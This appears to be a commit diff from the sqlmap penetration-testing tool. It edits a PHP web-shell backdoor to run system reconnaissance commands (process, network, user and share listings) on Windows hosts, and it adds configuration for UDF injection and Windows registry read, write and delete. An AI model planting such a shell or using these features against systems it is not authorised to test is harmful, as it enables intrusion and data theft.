||||
|
||||
@@ -98,7 +98,7 @@ if (isset($_REQUEST["sysinfo"])) {
|
||||
echo "<b>Operating system</b><br><pre>" . @PHP_OS;
|
||||
echo "</pre><b>Server uname</b><br><pre>" . php_uname();
|
||||
echo "</pre><b>Server uptime</b><br><pre>";
|
||||
echo ex("uptime");
|
||||
echo (!$win) ? ex("uptime") : ex("net statistics server");
|
||||
echo "</pre><b>Server time</b><br><pre>";
|
||||
echo date("D, M d, h:iA");
|
||||
echo "</pre><b>Disk space</b><br><pre>";
|
||||
@@ -118,12 +118,13 @@ if (isset($_REQUEST["sysinfo"])) {
|
||||
echo "</pre><b>Memory information</b><br><pre>";
|
||||
echo ex("cat /proc/meminfo");
|
||||
echo "</pre><b>Open ports and active connections</b><br><pre>";
|
||||
echo ex("netstat -nat");
|
||||
echo (!$win) ? ex("netstat -nat") : ex("netstat -ano");
|
||||
echo "</pre><b>Network devices</b><br><pre>";
|
||||
echo ex("/sbin/ifconfig -a");
|
||||
echo (!$win) ? ex("/sbin/ifconfig -a") : ex("ipconfig /all");
|
||||
echo "</pre><b>Processes</b><br><pre>";
|
||||
echo ex("ps auxfww");
|
||||
echo (!$win) ? ex("ps auxfww") : ex("tasklist");
|
||||
echo "</pre>";
|
||||
echo ($win) ? "<b>Network use</b><br><pre>".ex("net use")."</pre><b>Network share</b><br><pre>".ex("net share")."</pre><b>Network user</b><br><pre>".ex("net user")."</pre>" : "";
|
||||
}
|
||||
|
||||
else if(isset($_REQUEST["phpinfo"])) {
|
||||
|
||||
99
sqlmap.conf
99
sqlmap.conf
@@ -32,9 +32,9 @@ data =
|
||||
# HTTP Cookie header.
|
||||
cookie =
|
||||
|
||||
# HTTP Referer header. Useful to fake the HTTP Referer header value at
|
||||
# each HTTP request.
|
||||
referer =
|
||||
# Ignore Set-Cookie header from response
|
||||
# Valid: True or False
|
||||
dropSetCookie = False
|
||||
|
||||
# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value
|
||||
# at each HTTP request
|
||||
@@ -45,6 +45,10 @@ agent =
|
||||
# Example: ./txt/user-agents.txt
|
||||
userAgentsFile =
|
||||
|
||||
# HTTP Referer header. Useful to fake the HTTP Referer header value at
|
||||
# each HTTP request.
|
||||
referer =
|
||||
|
||||
# Extra HTTP headers
|
||||
# Note: There must be a space at the beginning of each header line.
|
||||
headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
@@ -52,12 +56,12 @@ headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9
|
||||
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
||||
|
||||
# HTTP Authentication type. Useful only if the target url requires
|
||||
# HTTP Basic or Digest authentication and you have such data.
|
||||
# Valid: Basic or Digest
|
||||
# HTTP Basic, Digest or NTLM authentication and you have such data.
|
||||
# Valid: Basic, Digest or NTLM
|
||||
aType =
|
||||
|
||||
# HTTP Authentication credentials. Useful only if the target url requires
|
||||
# HTTP Basic or Digest authentication and you have such data.
|
||||
# HTTP Basic, Digest or NTLM authentication and you have such data.
|
||||
# Syntax: username:password
|
||||
aCred =
|
||||
|
||||
@@ -262,7 +266,19 @@ limitStart = 0
|
||||
# retrieve them until the last)
|
||||
limitStop = 0
|
||||
|
||||
# SQL SELECT query to be executed.
|
||||
# First query output word character to retrieve
|
||||
# Valid: integer
|
||||
# Default: 0 (sqlmap will enumerate the query output from the first
|
||||
# character)
|
||||
firstChar = 0
|
||||
|
||||
# Last query output word character to retrieve
|
||||
# Valid: integer
|
||||
# Default: 0 (sqlmap will enumerate the query output until the last
|
||||
# character)
|
||||
lastChar = 0
|
||||
|
||||
# SQL statement to be executed.
|
||||
# Example: SELECT 'foo', 'bar'
|
||||
query =
|
||||
|
||||
@@ -271,6 +287,16 @@ query =
|
||||
sqlShell = False
|
||||
|
||||
|
||||
[User-defined function]
|
||||
|
||||
# Inject custom user-defined functions
|
||||
# Valid: True or False
|
||||
udfInject = False
|
||||
|
||||
# Local path of the shared library
|
||||
shLib =
|
||||
|
||||
|
||||
[File system]
|
||||
|
||||
# Read a specific file from the back-end DBMS underlying file system.
|
||||
@@ -324,13 +350,57 @@ msfPath =
|
||||
tmpPath =
|
||||
|
||||
|
||||
[Windows]
|
||||
|
||||
# Read a Windows registry key value
|
||||
regRead = False
|
||||
|
||||
# Write a Windows registry key value data
|
||||
regAdd = False
|
||||
|
||||
# Delete a Windows registry key value
|
||||
regDel = False
|
||||
|
||||
# Windows registry key
|
||||
regKey =
|
||||
|
||||
# Windows registry key value
|
||||
regVal =
|
||||
|
||||
# Windows registry key value data
|
||||
regData =
|
||||
|
||||
# Windows registry key value type
|
||||
regType =
|
||||
|
||||
|
||||
[Miscellaneous]
|
||||
|
||||
# Save and resume all data retrieved on a session file.
|
||||
sessionFile =
|
||||
|
||||
# Retrieve each query output length and calculate the estimated time of
|
||||
# arrival in real time.
|
||||
# Valid: True or False
|
||||
eta = False
|
||||
|
||||
# Use google dork results from specified page number
|
||||
# Valid: integer
|
||||
# Default: 1
|
||||
googlePage = 1
|
||||
|
||||
# Update sqlmap to the latest stable version.
|
||||
# Valid: True or False
|
||||
updateAll = False
|
||||
|
||||
# Never ask for user input, use the default behaviour.
|
||||
# Valid: True or False
|
||||
batch = False
|
||||
|
||||
# Clean up the DBMS by sqlmap specific UDF and tables
|
||||
# Valid: True or False
|
||||
cleanup = False
|
||||
|
||||
# Verbosity level.
|
||||
# Valid: integer between 0 and 5
|
||||
# 0: Show only warning and error messages
|
||||
@@ -341,18 +411,3 @@ eta = False
|
||||
# 5: Show also HTTP responses page content
|
||||
# Default: 1
|
||||
verbose = 1
|
||||
|
||||
# Update sqlmap to the latest stable version.
|
||||
# Valid: True or False
|
||||
updateAll = False
|
||||
|
||||
# Save and resume all data retrieved on a session file.
|
||||
sessionFile =
|
||||
|
||||
# Never ask for user input, use the default behaviour.
|
||||
# Valid: True or False
|
||||
batch = False
|
||||
|
||||
# Clean up the DBMS by sqlmap specific UDF and tables
|
||||
# Valid: True or False
|
||||
cleanup = False
|
||||
|
||||
@@ -22,15 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import traceback
|
||||
import warnings
|
||||
|
||||
warnings.filterwarnings(action="ignore", message=".*(md5|sha) module is deprecated", category=DeprecationWarning)
|
||||
warnings.filterwarnings(action = "ignore", message = ".*(md5|sha) module is deprecated", category = DeprecationWarning)
|
||||
|
||||
try:
|
||||
import psyco
|
||||
@@ -51,7 +49,6 @@ from lib.core.exception import unhandledException
|
||||
from lib.core.option import init
|
||||
from lib.parse.cmdline import cmdLineParser
|
||||
|
||||
|
||||
def modulePath():
|
||||
"""
|
||||
This will get us the program's directory, even if we are frozen
|
||||
@@ -63,7 +60,6 @@ def modulePath():
|
||||
else:
|
||||
return os.path.dirname(os.path.realpath(__file__))
|
||||
|
||||
|
||||
def main():
|
||||
"""
|
||||
Main function of sqlmap when running from command line.
|
||||
@@ -103,6 +99,5 @@ def main():
|
||||
|
||||
print "\n[*] shutting down at: %s\n" % time.strftime("%X")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -29,6 +29,7 @@
|
||||
<current_user query="CURRENT_USER()"/>
|
||||
<current_db query="DATABASE()"/>
|
||||
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'"/>
|
||||
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'"/>
|
||||
<users>
|
||||
<inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
|
||||
<blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
|
||||
@@ -138,6 +139,7 @@
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="CURRENT_DATABASE()"/>
|
||||
<is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)"/>
|
||||
<check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
|
||||
<users>
|
||||
<inband query="SELECT usename FROM pg_user"/>
|
||||
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
||||
@@ -151,8 +153,8 @@
|
||||
<blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END), (CASE WHEN usesuper THEN 1 ELSE 0 END), (CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>
|
||||
</privileges>
|
||||
<dbs>
|
||||
<inband query="SELECT schemaname FROM pg_tables"/>
|
||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
||||
<inband query="SELECT datname FROM pg_database"/>
|
||||
<blind query="SELECT DISTINCT(datname) FROM pg_database OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(datname)) FROM pg_database"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT schemaname, tablename FROM pg_tables" condition="schemaname"/>
|
||||
|
||||
Reference in New Issue
Block a user